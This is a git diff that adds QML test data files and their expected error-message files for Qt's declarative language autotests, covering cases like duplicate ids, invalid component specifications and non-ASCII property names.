diff --git a/tests/auto/declarative/qdeclarativelanguage/data/component.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/component.2.qml
new file mode 100644
index 00000000..7d677b57
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/component.2.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+Item {
+ id: myId
+ Component {
+ id: myId
+ QtObject {}
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/component.3.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/component.3.errors.txt
new file mode 100644
index 00000000..450fc163
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/component.3.errors.txt
@@ -0,0 +1 @@
+6:9:Property value set multiple times
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/component.3.qml b/tests/auto/declarative/qdeclarativelanguage/data/component.3.qml
new file mode 100644
index 00000000..1b9af8bd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/component.3.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+Item {
+ Component {
+ id: myId
+ id: myId2
+ QtObject {}
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/component.4.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/component.4.errors.txt
new file mode 100644
index 00000000..2ab18685
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/component.4.errors.txt
@@ -0,0 +1 @@
+3:1:Invalid component body specification
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/component.4.qml b/tests/auto/declarative/qdeclarativelanguage/data/component.4.qml
new file mode 100644
index 00000000..806613c2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/component.4.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+Component {
+ QtObject {}
+ QtObject {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/component.5.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/component.5.errors.txt
new file mode 100644
index 00000000..e3c2df75
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/component.5.errors.txt
@@ -0,0 +1 @@
+4:5:Component elements may not contain properties other than id
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/component.5.qml b/tests/auto/declarative/qdeclarativelanguage/data/component.5.qml
new file mode 100644
index 00000000..e94022a1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/component.5.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+Component {
+ x: 10
+ QtObject {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/component.6.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/component.6.errors.txt
new file mode 100644
index 00000000..2b1c6ca6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/component.6.errors.txt
@@ -0,0 +1 @@
+4:5:Invalid component id specification
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/component.6.qml b/tests/auto/declarative/qdeclarativelanguage/data/component.6.qml
new file mode 100644
index 00000000..8f81a5a9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/component.6.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+Component {
+ id: QtObject {}
+ QtObject {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/component.7.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/component.7.errors.txt
new file mode 100644
index 00000000..b144814a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/component.7.errors.txt
@@ -0,0 +1 @@
+3:1:Component objects cannot declare new properties.
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/component.7.qml b/tests/auto/declarative/qdeclarativelanguage/data/component.7.qml
new file mode 100644
index 00000000..94bf189b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/component.7.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+Component {
+ property int a
+ QtObject {}
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/component.8.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/component.8.errors.txt
new file mode 100644
index 00000000..6f2d0d20
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/component.8.errors.txt
@@ -0,0 +1 @@
+3:1:Component objects cannot declare new signals.
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/component.8.qml b/tests/auto/declarative/qdeclarativelanguage/data/component.8.qml
new file mode 100644
index 00000000..69990cae
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/component.8.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+Component {
+ signal a
+ QtObject {}
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/component.9.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/component.9.errors.txt
new file mode 100644
index 00000000..92f14568
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/component.9.errors.txt
@@ -0,0 +1 @@
+3:1:Component objects cannot declare new functions.
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/component.9.qml b/tests/auto/declarative/qdeclarativelanguage/data/component.9.qml
new file mode 100644
index 00000000..5db98152
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/component.9.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+Component {
+ function a() {}
+ QtObject {}
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/componentCompositeType.qml b/tests/auto/declarative/qdeclarativelanguage/data/componentCompositeType.qml
new file mode 100644
index 00000000..d04da624
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/componentCompositeType.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+QtObject {
+ property variant test
+
+ test: ComponentComposite {}
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/cppnamespace.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/cppnamespace.2.qml
new file mode 100644
index 00000000..e3b32ca5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/cppnamespace.2.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+
+MySecondNamespacedType {
+ list: [ MyNamespacedType {} ]
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/cppnamespace.qml b/tests/auto/declarative/qdeclarativelanguage/data/cppnamespace.qml
new file mode 100644
index 00000000..e1daf3b7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/cppnamespace.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+
+MyNamespacedType {
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/crash2.qml b/tests/auto/declarative/qdeclarativelanguage/data/crash2.qml
new file mode 100644
index 00000000..6ac71eea
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/crash2.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+QtObject {
+ objectName: "Hello" + "World"
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/customOnProperty.qml b/tests/auto/declarative/qdeclarativelanguage/data/customOnProperty.qml
new file mode 100644
index 00000000..c1e47900
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/customOnProperty.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+QtObject {
+ property int on
+
+ Component.onCompleted: on = 10
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/customParserIdNotAllowed.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/customParserIdNotAllowed.errors.txt
new file mode 100644
index 00000000..43a8bb28
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/customParserIdNotAllowed.errors.txt
@@ -0,0 +1 @@
+4:19:ListElement: cannot use reserved "id" property
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/customParserIdNotAllowed.qml b/tests/auto/declarative/qdeclarativelanguage/data/customParserIdNotAllowed.qml
new file mode 100644
index 00000000..50bc2aeb
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/customParserIdNotAllowed.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+ListModel {
+ ListElement { a: 10 }
+ ListElement { id: foo; a: 12 }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/customParserTypes.qml b/tests/auto/declarative/qdeclarativelanguage/data/customParserTypes.qml
new file mode 100644
index 00000000..4cf68272
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/customParserTypes.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+ListModel {
+ ListElement { a: 10 }
+ ListElement { a: 12 }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/customVariantTypes.qml b/tests/auto/declarative/qdeclarativelanguage/data/customVariantTypes.qml
new file mode 100644
index 00000000..0263ed20
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/customVariantTypes.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyQmlObject {
+ customType: "10"
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/declaredPropertyValues.qml b/tests/auto/declarative/qdeclarativelanguage/data/declaredPropertyValues.qml
new file mode 100644
index 00000000..f15373f1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/declaredPropertyValues.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+QtObject {
+ property int a: 10
+ property int b: 10 + a
+ property QtObject c: QtObject {}
+ property list<QtObject> d: [ QtObject {}, QtObject {} ]
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/defaultGrouped.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/defaultGrouped.errors.txt
new file mode 100644
index 00000000..32055f66
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/defaultGrouped.errors.txt
@@ -0,0 +1 @@
+7:9:Cannot assign a value directly to a grouped property
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/defaultGrouped.qml b/tests/auto/declarative/qdeclarativelanguage/data/defaultGrouped.qml
new file mode 100644
index 00000000..d98dfdb5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/defaultGrouped.qml
@@ -0,0 +1,10 @@
+import Test 1.0
+import QtQuick 1.0
+
+MyTypeObject {
+ grouped {
+ script: console.log(1921)
+ QtObject {}
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/defaultPropertyListOrder.qml b/tests/auto/declarative/qdeclarativelanguage/data/defaultPropertyListOrder.qml
new file mode 100644
index 00000000..87dc3d3e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/defaultPropertyListOrder.qml
@@ -0,0 +1,29 @@
+import Test 1.0
+import QtQuick 1.0
+
+MyContainer {
+ QtObject {
+ property int index: 0
+ }
+
+ QtObject {
+ property int index: 1
+ }
+
+ children: [
+ QtObject {
+ property int index: 2
+ },
+ QtObject {
+ property int index: 3
+ }
+ ]
+
+ QtObject {
+ property int index: 4
+ }
+
+ QtObject {
+ property int index: 5
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/destroyedSignal.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/destroyedSignal.errors.txt
new file mode 100644
index 00000000..3348494a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/destroyedSignal.errors.txt
@@ -0,0 +1 @@
+4:5:Cannot assign to non-existent property "onDestroyed"
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/destroyedSignal.qml b/tests/auto/declarative/qdeclarativelanguage/data/destroyedSignal.qml
new file mode 100644
index 00000000..ba65d783
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/destroyedSignal.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+QtObject {
+ onDestroyed: print("Hello World!")
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.errors.txt
new file mode 100644
index 00000000..e9b449d8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.errors.txt
@@ -0,0 +1 @@
+3:1:Type Test/MyRevisionedIllegalOverload 1.0 contains an illegal property "propA". This is an error in the type's implementation.
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.qml b/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.qml
new file mode 100644
index 00000000..612bcfe0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyRevisionedIllegalOverload
+{
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dontDoubleCallClassBegin.qml b/tests/auto/declarative/qdeclarativelanguage/data/dontDoubleCallClassBegin.qml
new file mode 100644
index 00000000..0cdbdd73
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/dontDoubleCallClassBegin.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Item {
+ property QtObject object: DontDoubleCallClassBeginItem {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/doubleSignal.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/doubleSignal.errors.txt
new file mode 100644
index 00000000..e1f7ec5b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/doubleSignal.errors.txt
@@ -0,0 +1 @@
+5:5:Property value set multiple times
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/doubleSignal.qml b/tests/auto/declarative/qdeclarativelanguage/data/doubleSignal.qml
new file mode 100644
index 00000000..fb07b9f6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/doubleSignal.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyQmlObject {
+ onBasicSignal: console.log(1921)
+ onBasicSignal: console.log(1921)
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/duplicateIDs.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/duplicateIDs.errors.txt
new file mode 100644
index 00000000..66241cf1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/duplicateIDs.errors.txt
@@ -0,0 +1 @@
+4:19:id is not unique
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/duplicateIDs.qml b/tests/auto/declarative/qdeclarativelanguage/data/duplicateIDs.qml
new file mode 100644
index 00000000..a993abdd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/duplicateIDs.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+MyContainer {
+ MyQmlObject { id: myID }
+ MyQmlObject { id: myID }
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.1.errors.txt
new file mode 100644
index 00000000..1f9f9169
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.1.errors.txt
@@ -0,0 +1 @@
+5:5:Duplicate default property
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.1.qml
new file mode 100644
index 00000000..2b6dd5d5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.1.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+QtObject {
+ default property QtObject a
+ default property QtObject b
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.2.errors.txt
new file mode 100644
index 00000000..7a4f63bf
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.2.errors.txt
@@ -0,0 +1 @@
+5:5:Duplicate property name
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.2.qml
new file mode 100644
index 00000000..7d11d990
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.2.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+QtObject {
+ property int a
+ property bool a
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.3.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.3.errors.txt
new file mode 100644
index 00000000..c5860a2f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.3.errors.txt
@@ -0,0 +1 @@
+3:1:Duplicate signal name
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.3.qml b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.3.qml
new file mode 100644
index 00000000..b0f2828e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.3.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+QtObject {
+ signal a
+ signal a
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.4.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.4.errors.txt
new file mode 100644
index 00000000..b293c862
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.4.errors.txt
@@ -0,0 +1 @@
+3:1:Duplicate method name
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.4.qml b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.4.qml
new file mode 100644
index 00000000..e28cad3a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.4.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+QtObject {
+ function a() {}
+ function a() {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.5.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.5.errors.txt
new file mode 100644
index 00000000..015d55b0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.5.errors.txt
@@ -0,0 +1 @@
+3:1:UnknownType is not a type
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.5.qml b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.5.qml
new file mode 100644
index 00000000..8e4acc05
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.5.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+QtObject {
+ property UnknownType a
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicObject.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/dynamicObject.1.qml
new file mode 100644
index 00000000..cdad72b5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicObject.1.qml
@@ -0,0 +1,8 @@
+import Test 1.0
+import QtQuick 1.0
+MyCustomParserType {
+ propa: a + 10
+ propb: Math.min(a, 10)
+ propc: MyPropertyValueSource {}
+ onPropA: a
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicObjectProperties.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/dynamicObjectProperties.2.qml
new file mode 100644
index 00000000..c03ec492
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicObjectProperties.2.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+import QtQuick 1.0 as Qt47
+
+Qt.QtObject {
+ property Qt47.QtObject objectProperty
+ property list<Qt47.QtObject> objectPropertyList
+
+ objectProperty: QtObject {}
+ objectPropertyList: QtObject {}
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicObjectProperties.qml b/tests/auto/declarative/qdeclarativelanguage/data/dynamicObjectProperties.qml
new file mode 100644
index 00000000..ed25c4b8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicObjectProperties.qml
@@ -0,0 +1,13 @@
+import Test 1.0
+import QtQuick 1.0
+import QtQuick 1.0 as Qt47
+
+QtObject {
+ property QtObject objectProperty
+ property QtObject objectProperty2
+ objectProperty2: QtObject {}
+
+ property MyComponent myComponentProperty
+ property MyComponent myComponentProperty2
+ myComponentProperty2: MyComponent {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicProperties.qml b/tests/auto/declarative/qdeclarativelanguage/data/dynamicProperties.qml
new file mode 100644
index 00000000..782adefa
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicProperties.qml
@@ -0,0 +1,13 @@
+import Test 1.0
+import QtQuick 1.0
+QtObject {
+ default property int intProperty : 10
+ property bool boolProperty: false
+ property double doubleProperty: -10.1
+ property real realProperty: -19.9
+ property string stringProperty: "Hello World!"
+ property color colorProperty: "red"
+ property url urlProperty: "main.qml"
+ property date dateProperty: "1945-09-02"
+ property variant varProperty: "Hello World!"
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicPropertiesNested.qml b/tests/auto/declarative/qdeclarativelanguage/data/dynamicPropertiesNested.qml
new file mode 100644
index 00000000..64848fe8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicPropertiesNested.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+DynamicPropertiesNestedType {
+ property int a: 13
+ property int b: 12
+
+ super_a: 11
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicSignalsAndSlots.qml b/tests/auto/declarative/qdeclarativelanguage/data/dynamicSignalsAndSlots.qml
new file mode 100644
index 00000000..78978dba
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicSignalsAndSlots.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+QtObject {
+ signal signal1
+ function slot1() {}
+ signal signal2
+ function slot2() {}
+
+ property int test: 0
+ function slot3(a) { console.log(1921); test = a; }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/empty.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/empty.errors.txt
new file mode 100644
index 00000000..d416e76a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/empty.errors.txt
@@ -0,0 +1,2 @@
+0:0:Expected token `numeric literal'
+0:0:Expected a qualified name id
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/empty.qml b/tests/auto/declarative/qdeclarativelanguage/data/empty.qml
new file mode 100644
index 00000000..e69de29b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/empty.qml
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.errors.txt
new file mode 100644
index 00000000..8b204349
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.errors.txt
@@ -0,0 +1 @@
+4:5:Incorrectly specified signal assignment
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.qml b/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.qml
new file mode 100644
index 00000000..c84fea3f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyQmlObject {
+ onBasicSignal {
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/enumTypes.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/enumTypes.errors.txt
new file mode 100644
index 00000000..d4e0cc0b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/enumTypes.errors.txt
@@ -0,0 +1 @@
+3:1:Element is not creatable.
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/enumTypes.qml b/tests/auto/declarative/qdeclarativelanguage/data/enumTypes.qml
new file mode 100644
index 00000000..3eda6612
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/enumTypes.qml
@@ -0,0 +1,4 @@
+import QtQuick 1.0
+
+Font {
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/failingComponent.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/failingComponent.errors.txt
new file mode 100644
index 00000000..364ca674
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/failingComponent.errors.txt
@@ -0,0 +1 @@
+3:5:FailingComponent is not a type
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/failingComponentTest.qml b/tests/auto/declarative/qdeclarativelanguage/data/failingComponentTest.qml
new file mode 100644
index 00000000..74a6acfc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/failingComponentTest.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyContainer {
+ FailingComponent {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/fakeDotProperty.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/fakeDotProperty.errors.txt
new file mode 100644
index 00000000..30748234
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/fakeDotProperty.errors.txt
@@ -0,0 +1 @@
+3:5:Invalid grouped property access
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/fakeDotProperty.qml b/tests/auto/declarative/qdeclarativelanguage/data/fakeDotProperty.qml
new file mode 100644
index 00000000..d971eee4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/fakeDotProperty.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyQmlObject {
+ value.something: "hello"
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/finalOverride.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/finalOverride.errors.txt
new file mode 100644
index 00000000..49e06cbd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/finalOverride.errors.txt
@@ -0,0 +1 @@
+3:5:Cannot override FINAL property
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/finalOverride.qml b/tests/auto/declarative/qdeclarativelanguage/data/finalOverride.qml
new file mode 100644
index 00000000..a84393af
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/finalOverride.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyQmlObject {
+ property int value: 10
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/i18nDeclaredPropertyNames.qml b/tests/auto/declarative/qdeclarativelanguage/data/i18nDeclaredPropertyNames.qml
new file mode 100644
index 00000000..558c836e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/i18nDeclaredPropertyNames.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ property int áâãäå: 10
+ stringProperty: "Test áâãäå: " + áâãäå
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/i18nDeclaredPropertyUse.qml b/tests/auto/declarative/qdeclarativelanguage/data/i18nDeclaredPropertyUse.qml
new file mode 100644
index 00000000..74918e27
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/i18nDeclaredPropertyUse.qml
@@ -0,0 +1,3 @@
+I18n {
+ áâãäå: 15
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/i18nNameSpace.qml b/tests/auto/declarative/qdeclarativelanguage/data/i18nNameSpace.qml
new file mode 100644
index 00000000..c0b2f948
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/i18nNameSpace.qml
@@ -0,0 +1,5 @@
+import Test 1.0 as Áâãäå
+
+Áâãäå.MyTypeObject {
+ stringProperty: "Test áâãäå: 40"
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/i18nScript.qml b/tests/auto/declarative/qdeclarativelanguage/data/i18nScript.qml
new file mode 100644
index 00000000..e77cb520
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/i18nScript.qml
@@ -0,0 +1,9 @@
+import Test 1.0
+
+MyTypeObject {
+ function val() {
+ var áâãäå = 20
+ return "Test áâãäå: " + áâãäå
+ }
+ stringProperty: val()
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/i18nStrings.qml b/tests/auto/declarative/qdeclarativelanguage/data/i18nStrings.qml
new file mode 100644
index 00000000..764c9263
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/i18nStrings.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+
+MyTypeObject {
+ stringProperty: "Test áâãäå (5 accented 'a' letters)"
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/i18nType.qml b/tests/auto/declarative/qdeclarativelanguage/data/i18nType.qml
new file mode 100644
index 00000000..d7954ef7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/i18nType.qml
@@ -0,0 +1 @@
+I18nTypeÁâãäå { }
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/idProperty.qml b/tests/auto/declarative/qdeclarativelanguage/data/idProperty.qml
new file mode 100644
index 00000000..bf048ea6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/idProperty.qml
@@ -0,0 +1,8 @@
+import Test 1.0
+MyContainer {
+ property variant object : myObjectId
+
+ MyTypeObject {
+ id: "myObjectId"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importFile.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/importFile.errors.txt
new file mode 100644
index 00000000..3fdac092
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/importFile.errors.txt
@@ -0,0 +1 @@
+1:1:"MyComponent.qml": no such directory
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importFile.qml b/tests/auto/declarative/qdeclarativelanguage/data/importFile.qml
new file mode 100644
index 00000000..a0d8410c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/importFile.qml
@@ -0,0 +1,3 @@
+import "MyComponent.qml" 1.0
+
+MyComponent { text: "Hello" }
